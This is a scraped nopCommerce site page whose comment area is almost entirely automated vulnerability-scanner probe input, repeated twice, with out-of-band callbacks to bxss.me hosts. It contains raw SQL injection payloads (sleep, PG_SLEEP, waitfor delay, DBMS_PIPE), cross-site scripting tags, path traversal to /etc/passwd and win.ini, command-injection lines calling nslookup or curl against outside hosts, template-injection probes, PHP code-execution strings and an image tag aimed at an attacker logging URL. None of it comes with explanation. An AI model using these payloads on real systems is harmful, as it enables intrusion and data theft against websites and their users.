For full feature list go to nopCommerce.com
Providing outstanding custom search engine optimization, web development services and e-commerce development solutions to our clients at a fair price in a professional manner.
This is a sample comment...
1DmcKliyonO
response.write(9769033*9957512)
'+response.write(9769033*9957512)+'
"+response.write(9769033*9957512)+"
echo fmlssd$()\ rpiatr\nz^xyu||a #' &echo fmlssd$()\ rpiatr\nz^xyu||a #|" &echo fmlssd$()\ rpiatr\nz^xyu||a #
&echo axtpjj$()\ rfrrrw\nz^xyu||a #' &echo axtpjj$()\ rfrrrw\nz^xyu||a #|" &echo axtpjj$()\ rfrrrw\nz^xyu||a #
|echo qkeuza$()\ wrjrfd\nz^xyu||a #' |echo qkeuza$()\ wrjrfd\nz^xyu||a #|" |echo qkeuza$()\ wrjrfd\nz^xyu||a #
VoWFjQKc
(nslookup -q=cname hitmmastynaluc8e69.bxss.me||curl hitmmastynaluc8e69.bxss.me))
$(nslookup -q=cname hitwnsrixrrjed0ac7.bxss.me||curl hitwnsrixrrjed0ac7.bxss.me)
&nslookup -q=cname hitpkuwxysjvqc8e87.bxss.me&'\"`0&nslookup -q=cname hitpkuwxysjvqc8e87.bxss.me&`'
&(nslookup -q=cname hitdvqywhpwpqde777.bxss.me||curl hitdvqywhpwpqde777.bxss.me)&'\"`0&(nslookup -q=cname hitdvqywhpwpqde777.bxss.me||curl hitdvqywhpwpqde777.bxss.me)&`'
../../../../../../../../../../../../../../etc/passwd
|(nslookup -q=cname hitybmnpufhmw58110.bxss.me||curl hitybmnpufhmw58110.bxss.me)
../../../../../../../../../../../../../../windows/win.ini
`(nslookup -q=cname hitpryiiofbutbd2c0.bxss.me||curl hitpryiiofbutbd2c0.bxss.me)`
bcc:009247.1357-56597.1357.f7fad.19793.2@bxss.me
file:///etc/passwd
;(nslookup -q=cname hituoisphgfvpfd94d.bxss.me||curl hituoisphgfvpfd94d.bxss.me)|(nslookup -q=cname hituoisphgfvpfd94d.bxss.me||curl hituoisphgfvpfd94d.bxss.me)&(nslookup -q=cname hituoisphgfvpfd94d.bxss.me||curl hituoisphgfvpfd94d.bxss.me)
to@example.com>bcc:009247.1357-56598.1357.f7fad.19793.2@bxss.me
../
./
<esi:include src="http://bxss.me/rpb.png"/>
${10000383+10000011}
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
&n992055=v970703
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
)
!(()&&!|*|*|
^(#$!@#$)(()))******
/etc/shells
c:/windows/win.ini
bxss.me
'.gethostbyname(lc('hityg'.'jvhilpmj01802.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(67).chr(109).chr(81).'
".gethostbyname(lc("hitdt"."jrggrfwk766c8.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(88).chr(118).chr(83)."
'"()
'&&sleep(27*1000)*glryza&&'
"&&sleep(27*1000)*oxfldp&&"
'||sleep(27*1000)*qxnogm||'
"||sleep(27*1000)*vnkakk||"
ctimesleepp0(I30tp1Rp2.
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
"+"A".concat(70-3).concat(22*4).concat(114).concat(70).concat(98).concat(77)+(require"socket"Socket.gethostbyname("hittd"+"dpringsy979f4.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(110).concat(87).concat(120).concat(75)+(require'socket'Socket.gethostbyname('hitng'+'jujufwhn260d8.bxss.me.')[3].to_s)+'
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
NewsCommentAdd
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
NewsCommentAdd/.
xfs.bxss.me
'"
<!--
'"()&%<zzz><ScRiPt >acWt(9190)</ScRiPt>
'"()&%<zzz><ScRiPt >acWt(9586)</ScRiPt>
9159924
bfg9811<s1﹥s2ʺs3ʹhjl9811
bfgx7685%C0%BEz1%C0%BCz2a%90bcxhjl7685
<%={{={@{#{${dfb}}%>


<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
-1 OR 2+772-772-1=0+0+0+1 --
dfb[[${98991*97996}]]xca
-1 OR 3+772-772-1=0+0+0+1 --
response.write(9214890*9192678)
'+response.write(9214890*9192678)+'
-1 OR 2+369-369-1=0+0+0+1
"+response.write(9214890*9192678)+"
dfb__${98991*97996}__::.x
-1 OR 3+369-369-1=0+0+0+1
-1' OR 2+283-283-1=0+0+0+1 --
-1' OR 3+283-283-1=0+0+0+1 --
-1' OR 2+419-419-1=0+0+0+1 or 'nZMFTpan'='
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-1' OR 3+419-419-1=0+0+0+1 or 'nZMFTpan'='
<ScRiPt >acWt(9038)</ScRiPt>
662vEo72
<WTQ1NK>WZSXT[!+!]</WTQ1NK>
-1" OR 2+526-526-1=0+0+0+1 --
<script>acWt(9259)</script>
-1" OR 3+526-526-1=0+0+0+1 --
<ScR<ScRiPt>IpT>acWt(9330)</sCr<ScRiPt>IpT>
if(now()=sysdate(),sleep(15),0)
<ScRiPt >acWt(9337)</ScRiPt>
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9955></ScRiPt>
to@example.com>bcc:009247.1357-56917.1357.f7fad.19793.2@bxss.me
echo bhzcsr$()\ rpxtys\nz^xyu||a #' &echo bhzcsr$()\ rpxtys\nz^xyu||a #|" &echo bhzcsr$()\ rpxtys\nz^xyu||a #
../

&echo blvrhg$()\ temozq\nz^xyu||a #' &echo blvrhg$()\ temozq\nz^xyu||a #|" &echo blvrhg$()\ temozq\nz^xyu||a #
<isindex type=image src=1 onerror=acWt(9735)>
|echo caebwi$()\ owgjvs\nz^xyu||a #' |echo caebwi$()\ owgjvs\nz^xyu||a #|" |echo caebwi$()\ owgjvs\nz^xyu||a #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
(nslookup -q=cname hitaawcotxtpp724c5.bxss.me||curl hitaawcotxtpp724c5.bxss.me))
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9273'>
$(nslookup -q=cname hitddkmbbjpwg43930.bxss.me||curl hitddkmbbjpwg43930.bxss.me)
&nslookup -q=cname hitbixhwaeqny8ff71.bxss.me&'\"`0&nslookup -q=cname hitbixhwaeqny8ff71.bxss.me&`'
<body onload=acWt(9255)>
&(nslookup -q=cname hitblgxndrbjvb5a4d.bxss.me||curl hitblgxndrbjvb5a4d.bxss.me)&'\"`0&(nslookup -q=cname hitblgxndrbjvb5a4d.bxss.me||curl hitblgxndrbjvb5a4d.bxss.me)&`'
<img src=//xss.bxss.me/t/dot.gif onload=acWt(9855)>
|(nslookup -q=cname hitggdkjvajype38c6.bxss.me||curl hitggdkjvajype38c6.bxss.me)

<esi:include src="http://bxss.me/rpb.png"/>
`(nslookup -q=cname hitbhprnwactzaebeb.bxss.me||curl hitbhprnwactzaebeb.bxss.me)`
;(nslookup -q=cname hitfzmwlgumlo2157d.bxss.me||curl hitfzmwlgumlo2157d.bxss.me)|(nslookup -q=cname hitfzmwlgumlo2157d.bxss.me||curl hitfzmwlgumlo2157d.bxss.me)&(nslookup -q=cname hitfzmwlgumlo2157d.bxss.me||curl hitfzmwlgumlo2157d.bxss.me)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
<img src=xyz OnErRor=acWt(9431)>
<img/src=">" onerror=alert(9147)>
%0A%3C%53%63%52%69%50%74%20%3E%61%63%57%74%289097%29%3C%2F%73%43%72%69%70%54%3E
${9999968+10000220}
\u003CScRiPt\acWt(9209)\u003C/sCripT\u003E
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
<ScRiPt>acWt(9473)</sCripT>
%F6<img zzz onmouseover=acWt(96171) //%F6>

&n957896=v902988
-1; waitfor delay '0:0:15' --
<input autofocus onfocus=acWt(9530)>
<a HrEF=http://xss.bxss.me></a>
-1); waitfor delay '0:0:15' --
<a HrEF=jaVaScRiPT:>
}body{zzz:Expre/**/SSion(acWt(9989))}
1 waitfor delay '0:0:15' --
RN9CN<ScRiPt >acWt(9760)</ScRiPt>
<WYLDQD>HDDQE[!+!]</WYLDQD>
WQ1sA84k'; waitfor delay '0:0:15' --
<ifRAme sRc=9906.com></IfRamE>
<aAk7rOR x=9493>
-5 OR 956=(SELECT 956 FROM PG_SLEEP(15))--
'.gethostbyname(lc('hitpu'.'itntyokgff4ff.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(80).chr(113).chr(77).'
<img sRc='http://attacker-9099/log.php?
".gethostbyname(lc("hitxu"."wjmkzbgfee761.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(71).chr(112).chr(90)."
<aeHMFNV<

'&&sleep(27*1000)*syssae&&'

"&&sleep(27*1000)*anlcyd&&"

'||sleep(27*1000)*ofwlle||'
-5) OR 489=(SELECT 489 FROM PG_SLEEP(15))--

"||sleep(27*1000)*mteyjc||"
-1)) OR 329=(SELECT 329 FROM PG_SLEEP(15))--
ocF5xb8D' OR 514=(SELECT 514 FROM PG_SLEEP(15))--
CPTwNeUa') OR 367=(SELECT 367 FROM PG_SLEEP(15))--
"+"A".concat(70-3).concat(22*4).concat(115).concat(89).concat(120).concat(76)+(require"socket"Socket.gethostbyname("hitck"+"xjfyzlgq8308f.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(119).concat(80).concat(117).concat(65)+(require'socket'Socket.gethostbyname('hitlf'+'oyzsshda7da9a.bxss.me.')[3].to_s)+'
5AEQ3ua0')) OR 901=(SELECT 901 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@VfjTW
-1 OR 2+263-263-1=0+0+0+1 --

'"()&%<zzz><ScRiPt >DVue(9200)</ScRiPt>
'"()&%<zzz><ScRiPt >DVue(9404)</ScRiPt>
-1 OR 2+292-292-1=0+0+0+1
-1' OR 2+985-985-1=0+0+0+1 --

9343909
-1' OR 2+247-247-1=0+0+0+1 or 'lFS6N7j9'='
-1" OR 2+257-257-1=0+0+0+1 --
bfg10120<s1﹥s2ʺs3ʹhjl10120
bfgx1925%C0%BEz1%C0%BCz2a%90bcxhjl1925

<ScRiPt >DVue(9643)</ScRiPt>

<WCV5PF>NKRCH[!+!]</WCV5PF>
wth63gyL'; waitfor delay '0:0:15' --

<ScRiPt >DVue(9746)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9973></ScRiPt>
zXo8lxMu' OR 417=(SELECT 417 FROM PG_SLEEP(15))--

<isindex type=image src=1 onerror=DVue(9986)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9813'>
ZVHwlfoO') OR 358=(SELECT 358 FROM PG_SLEEP(15))--

<body onload=DVue(9703)>

<img src=//xss.bxss.me/t/dot.gif onload=DVue(9377)>

<img src=xyz OnErRor=DVue(9984)>
k7QWyNFy')) OR 118=(SELECT 118 FROM PG_SLEEP(15))--

<img/src=">" onerror=alert(9725)>

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
%0A%26%23%78%41%3B%3C%53%63%52%69%50%74%20%3E%44%56%75%65%289768%29%3C%2F%73%43%72%69%70%54%3E
@@MS0KE

<ScRiPt>DVue(9861)</sCripT>
%F6<img zzz onmouseover=DVue(99261) //%F6>

<input autofocus onfocus=DVue(9482)>

}body{zzz:Expre/**/SSion(DVue(9687))}

Y9QEA<ScRiPt >DVue(9380)</ScRiPt>

<WMDPZB>I9LSN[!+!]</WMDPZB>

<ifRAme sRc=9063.com></IfRamE>

<anRgIGZ x=9300>

<img sRc='http://attacker-9977/log.php?

<aZBYXq4<
This is a sample comment...
1DmcKliyonO
response.write(9769033*9957512)
'+response.write(9769033*9957512)+'
"+response.write(9769033*9957512)+"
echo fmlssd$()\ rpiatr\nz^xyu||a #' &echo fmlssd$()\ rpiatr\nz^xyu||a #|" &echo fmlssd$()\ rpiatr\nz^xyu||a #
&echo axtpjj$()\ rfrrrw\nz^xyu||a #' &echo axtpjj$()\ rfrrrw\nz^xyu||a #|" &echo axtpjj$()\ rfrrrw\nz^xyu||a #
|echo qkeuza$()\ wrjrfd\nz^xyu||a #' |echo qkeuza$()\ wrjrfd\nz^xyu||a #|" |echo qkeuza$()\ wrjrfd\nz^xyu||a #
VoWFjQKc
(nslookup -q=cname hitmmastynaluc8e69.bxss.me||curl hitmmastynaluc8e69.bxss.me))
$(nslookup -q=cname hitwnsrixrrjed0ac7.bxss.me||curl hitwnsrixrrjed0ac7.bxss.me)
&nslookup -q=cname hitpkuwxysjvqc8e87.bxss.me&'\"`0&nslookup -q=cname hitpkuwxysjvqc8e87.bxss.me&`'
&(nslookup -q=cname hitdvqywhpwpqde777.bxss.me||curl hitdvqywhpwpqde777.bxss.me)&'\"`0&(nslookup -q=cname hitdvqywhpwpqde777.bxss.me||curl hitdvqywhpwpqde777.bxss.me)&`'
../../../../../../../../../../../../../../etc/passwd
|(nslookup -q=cname hitybmnpufhmw58110.bxss.me||curl hitybmnpufhmw58110.bxss.me)
../../../../../../../../../../../../../../windows/win.ini
`(nslookup -q=cname hitpryiiofbutbd2c0.bxss.me||curl hitpryiiofbutbd2c0.bxss.me)`
bcc:009247.1357-56597.1357.f7fad.19793.2@bxss.me
file:///etc/passwd
;(nslookup -q=cname hituoisphgfvpfd94d.bxss.me||curl hituoisphgfvpfd94d.bxss.me)|(nslookup -q=cname hituoisphgfvpfd94d.bxss.me||curl hituoisphgfvpfd94d.bxss.me)&(nslookup -q=cname hituoisphgfvpfd94d.bxss.me||curl hituoisphgfvpfd94d.bxss.me)
to@example.com>
bcc:009247.1357-56598.1357.f7fad.19793.2@bxss.me
../
./
<esi:include src="http://bxss.me/rpb.png"/>
${10000383+10000011}
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
&n992055=v970703
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
)
!(()&&!|*|*|
^(#$!@#$)(()))******
/etc/shells
c:/windows/win.ini
bxss.me
'.gethostbyname(lc('hityg'.'jvhilpmj01802.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(67).chr(109).chr(81).'
".gethostbyname(lc("hitdt"."jrggrfwk766c8.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(88).chr(118).chr(83)."
'"()
'&&sleep(27*1000)*glryza&&'
"&&sleep(27*1000)*oxfldp&&"
'||sleep(27*1000)*qxnogm||'
"||sleep(27*1000)*vnkakk||"
ctime
sleep
p0
(I30
tp1
Rp2
.
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
"+"A".concat(70-3).concat(22*4).concat(114).concat(70).concat(98).concat(77)+(require"socket"
Socket.gethostbyname("hittd"+"dpringsy979f4.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(110).concat(87).concat(120).concat(75)+(require'socket'
Socket.gethostbyname('hitng'+'jujufwhn260d8.bxss.me.')[3].to_s)+'
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
NewsCommentAdd
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
NewsCommentAdd/.
xfs.bxss.me
'"
<!--
'"()&%<zzz><ScRiPt >acWt(9190)</ScRiPt>
'"()&%<zzz><ScRiPt >acWt(9586)</ScRiPt>
9159924
bfg9811<s1﹥s2ʺs3ʹhjl9811
bfgx7685%C0%BEz1%C0%BCz2a%90bcxhjl7685
<%={{={@{#{${dfb}}%>


<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
-1 OR 2+772-772-1=0+0+0+1 --
dfb[[${98991*97996}]]xca
-1 OR 3+772-772-1=0+0+0+1 --
response.write(9214890*9192678)
'+response.write(9214890*9192678)+'


-1 OR 2+369-369-1=0+0+0+1
"+response.write(9214890*9192678)+"
dfb__${98991*97996}__::.x


-1 OR 3+369-369-1=0+0+0+1


-1' OR 2+283-283-1=0+0+0+1 --


-1' OR 3+283-283-1=0+0+0+1 --
-1' OR 2+419-419-1=0+0+0+1 or 'nZMFTpan'='


"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-1' OR 3+419-419-1=0+0+0+1 or 'nZMFTpan'='


<ScRiPt >acWt(9038)</ScRiPt>
662vEo72
<WTQ1NK>WZSXT[!+!]</WTQ1NK>




-1" OR 2+526-526-1=0+0+0+1 --
<script>acWt(9259)</script>


-1" OR 3+526-526-1=0+0+0+1 --
<ScR<ScRiPt>IpT>acWt(9330)</sCr<ScRiPt>IpT>




if(now()=sysdate(),sleep(15),0)
<ScRiPt
>acWt(9337)</ScRiPt>
../../../../../../../../../../../../../../etc/passwd
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9955></ScRiPt>
../../../../../../../../../../../../../../windows/win.ini
to@example.com>
bcc:009247.1357-56917.1357.f7fad.19793.2@bxss.me
file:///etc/passwd






echo bhzcsr$()\ rpxtys\nz^xyu||a #' &echo bhzcsr$()\ rpxtys\nz^xyu||a #|" &echo bhzcsr$()\ rpxtys\nz^xyu||a #
../


&echo blvrhg$()\ temozq\nz^xyu||a #' &echo blvrhg$()\ temozq\nz^xyu||a #|" &echo blvrhg$()\ temozq\nz^xyu||a #


<isindex type=image src=1 onerror=acWt(9735)>
|echo caebwi$()\ owgjvs\nz^xyu||a #' |echo caebwi$()\ owgjvs\nz^xyu||a #|" |echo caebwi$()\ owgjvs\nz^xyu||a #


0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z


(nslookup -q=cname hitaawcotxtpp724c5.bxss.me||curl hitaawcotxtpp724c5.bxss.me))
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9273'>




$(nslookup -q=cname hitddkmbbjpwg43930.bxss.me||curl hitddkmbbjpwg43930.bxss.me)


&nslookup -q=cname hitbixhwaeqny8ff71.bxss.me&'\"`0&nslookup -q=cname hitbixhwaeqny8ff71.bxss.me&`'
<body onload=acWt(9255)>


&(nslookup -q=cname hitblgxndrbjvb5a4d.bxss.me||curl hitblgxndrbjvb5a4d.bxss.me)&'\"`0&(nslookup -q=cname hitblgxndrbjvb5a4d.bxss.me||curl hitblgxndrbjvb5a4d.bxss.me)&`'
<img src=//xss.bxss.me/t/dot.gif onload=acWt(9855)>
|(nslookup -q=cname hitggdkjvajype38c6.bxss.me||curl hitggdkjvajype38c6.bxss.me)

<esi:include src="http://bxss.me/rpb.png"/>
`(nslookup -q=cname hitbhprnwactzaebeb.bxss.me||curl hitbhprnwactzaebeb.bxss.me)`


;(nslookup -q=cname hitfzmwlgumlo2157d.bxss.me||curl hitfzmwlgumlo2157d.bxss.me)|(nslookup -q=cname hitfzmwlgumlo2157d.bxss.me||curl hitfzmwlgumlo2157d.bxss.me)&(nslookup -q=cname hitfzmwlgumlo2157d.bxss.me||curl hitfzmwlgumlo2157d.bxss.me)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
<img src=xyz OnErRor=acWt(9431)>








<img/src=">" onerror=alert(9147)>


%0A%3C%53%63%52%69%50%74%20%3E%61%63%57%74%289097%29%3C%2F%73%43%72%69%70%54%3E
${9999968+10000220}








\u003CScRiPt\acWt(9209)\u003C/sCripT\u003E










(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
<ScRiPt>acWt(9473)</sCripT>






%F6<img zzz onmouseover=acWt(96171) //%F6>



&n957896=v902988


-1; waitfor delay '0:0:15' --
<input autofocus onfocus=acWt(9530)>




)
!(()&&!|*|*|
<a HrEF=http://xss.bxss.me></a>
-1); waitfor delay '0:0:15' --
^(#$!@#$)(()))******
<a HrEF=jaVaScRiPT:>






http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
}body{zzz:Expre/**/SSion(acWt(9989))}


1 waitfor delay '0:0:15' --


RN9CN
<ScRiPt >acWt(9760)</ScRiPt>
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg


<WYLDQD>HDDQE[!+!]</WYLDQD>


/etc/shells


WQ1sA84k'; waitfor delay '0:0:15' --
<ifRAme sRc=9906.com></IfRamE>
c:/windows/win.ini
bxss.me




<aAk7rOR x=9493>






-5 OR 956=(SELECT 956 FROM PG_SLEEP(15))--


'.gethostbyname(lc('hitpu'.'itntyokgff4ff.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(80).chr(113).chr(77).'
<img sRc='http://attacker-9099/log.php?


".gethostbyname(lc("hitxu"."wjmkzbgfee761.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(71).chr(112).chr(90)."










<aeHMFNV<
'"()



'&&sleep(27*1000)*syssae&&'





"&&sleep(27*1000)*anlcyd&&"



'||sleep(27*1000)*ofwlle||'


-5) OR 489=(SELECT 489 FROM PG_SLEEP(15))--

"||sleep(27*1000)*mteyjc||"














-1)) OR 329=(SELECT 329 FROM PG_SLEEP(15))--




;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
ctime
sleep
p0
(I30
tp1
Rp2
.


';print(md5(31337));$a='


HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00






";print(md5(31337));$a="
ocF5xb8D' OR 514=(SELECT 514 FROM PG_SLEEP(15))--


${@print(md5(31337))}


${@print(md5(31337))}\




'.print(md5(31337)).'












CPTwNeUa') OR 367=(SELECT 367 FROM PG_SLEEP(15))--




"+"A".concat(70-3).concat(22*4).concat(115).concat(89).concat(120).concat(76)+(require"socket"
Socket.gethostbyname("hitck"+"xjfyzlgq8308f.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(119).concat(80).concat(117).concat(65)+(require'socket'
Socket.gethostbyname('hitlf'+'oyzsshda7da9a.bxss.me.')[3].to_s)+'




5AEQ3ua0')) OR 901=(SELECT 901 FROM PG_SLEEP(15))--




NewsCommentAdd










NewsCommentAdd/.






*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)












'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))


xfs.bxss.me
1'"










@@VfjTW




'"
<!--


















-1 OR 2+263-263-1=0+0+0+1 --

'"()&%<zzz><ScRiPt >DVue(9200)</ScRiPt>


'"()&%<zzz><ScRiPt >DVue(9404)</ScRiPt>
-1 OR 2+292-292-1=0+0+0+1
-1' OR 2+985-985-1=0+0+0+1 --

9343909
-1' OR 2+247-247-1=0+0+0+1 or 'lFS6N7j9'='
-1" OR 2+257-257-1=0+0+0+1 --
bfg10120<s1﹥s2ʺs3ʹhjl10120
if(now()=sysdate(),sleep(15),0)
bfgx1925%C0%BEz1%C0%BCz2a%90bcxhjl1925
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1 waitfor delay '0:0:15' --

<ScRiPt >DVue(9643)</ScRiPt>

<WCV5PF>NKRCH[!+!]</WCV5PF>
wth63gyL'; waitfor delay '0:0:15' --

<ScRiPt
>DVue(9746)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9973></ScRiPt>
zXo8lxMu' OR 417=(SELECT 417 FROM PG_SLEEP(15))--

<isindex type=image src=1 onerror=DVue(9986)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9813'>
ZVHwlfoO') OR 358=(SELECT 358 FROM PG_SLEEP(15))--

<body onload=DVue(9703)>

<img src=//xss.bxss.me/t/dot.gif onload=DVue(9377)>

<img src=xyz OnErRor=DVue(9984)>
k7QWyNFy')) OR 118=(SELECT 118 FROM PG_SLEEP(15))--

<img/src=">" onerror=alert(9725)>

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
%0A%26%23%78%41%3B%3C%53%63%52%69%50%74%20%3E%44%56%75%65%289768%29%3C%2F%73%43%72%69%70%54%3E
1'"
@@MS0KE

<ScRiPt>DVue(9861)</sCripT>
%F6<img zzz onmouseover=DVue(99261) //%F6>









<input autofocus onfocus=DVue(9482)>






<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(DVue(9687))}

Y9QEA
<ScRiPt >DVue(9380)</ScRiPt>



<WMDPZB>I9LSN[!+!]</WMDPZB>

<ifRAme sRc=9063.com></IfRamE>



<anRgIGZ x=9300>



<img sRc='http://attacker-9977/log.php?



<aZBYXq4<